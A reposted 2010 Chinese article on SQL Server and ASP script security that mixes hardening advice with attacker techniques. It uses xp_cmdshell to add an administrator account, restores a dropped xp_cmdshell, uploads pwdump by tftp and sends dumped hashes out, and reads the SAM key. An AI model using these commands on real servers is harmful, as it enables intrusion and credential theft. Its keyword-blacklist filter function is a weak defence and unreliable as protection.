国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
詳細(xì)講解SQL腳本問題

詳細(xì)講解SQL腳本問題

作者: bianceng,  出處:IT專家網(wǎng)論壇, 責(zé)任編輯: 陳子琪, 
2010-01-21 07:00
  從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動(dòng)利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。

  從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動(dòng)利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。

  一般網(wǎng)站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動(dòng)態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對(duì)數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。

  從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對(duì)從SQL腳本問題說得非常詳細(xì)。對(duì)于腳本安全的解決,也可以通過過濾來實(shí)現(xiàn),可以參考我以前寫的。對(duì)于ASP來說,可以使用下面這個(gè)過濾函數(shù):


  Function Filter_SQL(strData)
  Dim strFilter
  Dim blnFlag
  Dim i
  strFilter="’,;,//,--,@,_,exec,declare" ’需要過濾的字符,可以自己添加,","是分隔符
  blnFlag=Flase ’過濾標(biāo)志,如果產(chǎn)生過濾,那么就是真
  Dim arrayFilter
  arrayFilter=Split(strFilter,",")
  For i=0 To UBound(arrayFilter)
  If Instr(strData,arrayFilter(i))>0 Then
  blnFlag=True
  Exit For
  End If
  Next
  If blnFlag Then
  Response.Redirect "wrong.asp"

  ’當(dāng)發(fā)現(xiàn)有過濾操作時(shí),導(dǎo)向一個(gè)預(yù)定頁面。反正正常訪問用不到的連接請(qǐng)求,總不是好事情。


  Else
  Filter_SQL=strData
  End If
  End Function

  對(duì)于MS SQL Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了。天殺的微軟的系統(tǒng)性很強(qiáng),整個(gè)基于WINDOWS系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對(duì)SQL Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理等同起來了。SQL Server默認(rèn)的管理員賬號(hào)sa的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個(gè)安全漏洞。小榕的SQLRCMD,就能夠利用獲得的數(shù)據(jù)庫管理員賬號(hào)執(zhí)行系統(tǒng)命令。

  在SQL Server中有很多系統(tǒng)存儲(chǔ)過程,有些是數(shù)據(jù)庫內(nèi)部使用的,還有一些就是通過執(zhí)行存儲(chǔ)過程來調(diào)用系統(tǒng)命令。

  系統(tǒng)存儲(chǔ)過程:xp_cmdshell 就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell


  {’command_string’} [, no_output]

  xp_cmdshell在默認(rèn)情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運(yùn)行命令。可以通過配置選項(xiàng)配置 SQL Server,以便對(duì) SQL Server 無 sa 訪問權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運(yùn)行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec?,F(xiàn)在對(duì)于SQL Server2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過程的賬號(hào)就可以直接運(yùn)行命令了。

  對(duì)于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時(shí),xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個(gè)存儲(chǔ)過程。

  如果我們有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫賬號(hào),比如是空口令的sa賬號(hào)。那么我們可以執(zhí)行這樣的命令:


  exec xp_cmdshell ’net user refdom 123456 /add’
  exec xp_cmdshell ’net localgroup administrators refdom /add’

  上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom

  當(dāng)我們獲得數(shù)據(jù)庫的sa管理員賬號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了??梢姅?shù)據(jù)庫安全的重要性。

  下面這些存儲(chǔ)過程都是對(duì)Public可以執(zhí)行的:

  xp_fileexist,用來確定一個(gè)文件是否存在。

  xp_getfiledetails,可以獲得文件詳細(xì)資料。

  xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。

  Xp_getnetname,可以獲得服務(wù)器名稱。

  還有可以操作注冊(cè)表的存儲(chǔ)過程,這些不是對(duì)Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:


  Xp_regaddmultistring
  Xp_regdeletekey
  Xp_regdeletevalue
  Xp_regenumvalues
  Xp_regread (對(duì)Public可以執(zhí)行)
  Xp_regremovemultistring
  Xp_regwrite

  SQL Server的安全配置

  除跟著微軟打滿所有補(bǔ)丁外,還需要加強(qiáng)數(shù)據(jù)庫的安全。

  首先,你需要加強(qiáng)象sa這樣的賬號(hào)的密碼,跟系統(tǒng)賬號(hào)的使用配置相似,一般操作數(shù)據(jù)庫不要使用象sa這樣的最高權(quán)限的賬號(hào),而使用能滿足你的要求的一般賬號(hào)。

  接著對(duì)擴(kuò)展存儲(chǔ)過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲(chǔ)過程,都drop吧,一般也用不著。
 

  執(zhí)行:


  use master
  sp_dropextendedproc ’xp_cmdshell’

  去掉guest賬號(hào),阻止非授權(quán)用戶訪問。 去掉不必要的網(wǎng)絡(luò)協(xié)議。

  加強(qiáng)對(duì)數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件??梢杂孟旅娴暮唵蜠OS命令來查看日志:

  findstr /C:"登錄" d:Microsoft SQL ServerMSSQLLOG*.*

  用管理員賬號(hào)定期檢查所有賬號(hào),是否密碼為空或者過于簡單,比如下面的語句:


  Use master
  Select name,Password from syslogins where password is null

  用下面語句對(duì)所有賬號(hào),檢查對(duì)存儲(chǔ)過程和擴(kuò)展存儲(chǔ)過程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴(kuò)散:


  Use master
  Select sysobjects.name From sysobjects, sysprotects Where
  sysprotects.uid = 0 AND xtype IN (’X’,’P’) AND sysobjects.id =
  sysprotects.id

  加強(qiáng)數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會(huì)成為管理員的一個(gè)疏忽點(diǎn)。類似DNS、MAIL等等,數(shù)據(jù)庫服務(wù)器往往成為各種入侵的跳板。

  下面是一些關(guān)于數(shù)據(jù)庫的問答和技巧:

  1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲(chǔ)過程怎么辦?

  答:可能是已經(jīng)把xp_cmdshell等擴(kuò)展存儲(chǔ)過程刪除了,可以用這個(gè)存儲(chǔ)過程把xp_cmdshell恢復(fù)。

  sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

  2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼

  先上傳一個(gè)pwdump


  tftp -i GET pwdump3.exe pwdump3.exe
  tftp -i GET lsaext.dll lsaext.dll
  tftp -i GET pwservice.exe pwservice.exe
  pwdump3 127.0.0.1 outfile.txt
  tftp PUT outfile.txt outfile.txt

  然后再用解密工具l0pht等等破解這些密碼。

  3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。

  能讀出加密的密碼是NT的"administrator"賬號(hào)也不能做的,SQL Server能讀出來是使用的LocalSystem賬號(hào),這個(gè)賬號(hào)比administrator更高一級(jí)??梢允褂孟旅孢@個(gè)存儲(chǔ)過程。不過讀出來的密碼是經(jīng)過加密后的,然后再解密吧。


  xp_regread
  ’HKEY_LOCAL_MACHINE’,’SECURITYSAMDomainsAccount’,’F’

本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
SQL Server 2000的安全配置
配置SQL Server 2000安全
SQLServer中使用外部命令執(zhí)行sql腳本
SQL Server 數(shù)據(jù)庫映射備份到網(wǎng)絡(luò)目標(biāo)驅(qū)動(dòng)器
基于SQL SERVER觸發(fā)器技術(shù)的實(shí)現(xiàn)
SQL Server擴(kuò)展存儲(chǔ)過程實(shí)現(xiàn)遠(yuǎn)程備份與恢復(fù)
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服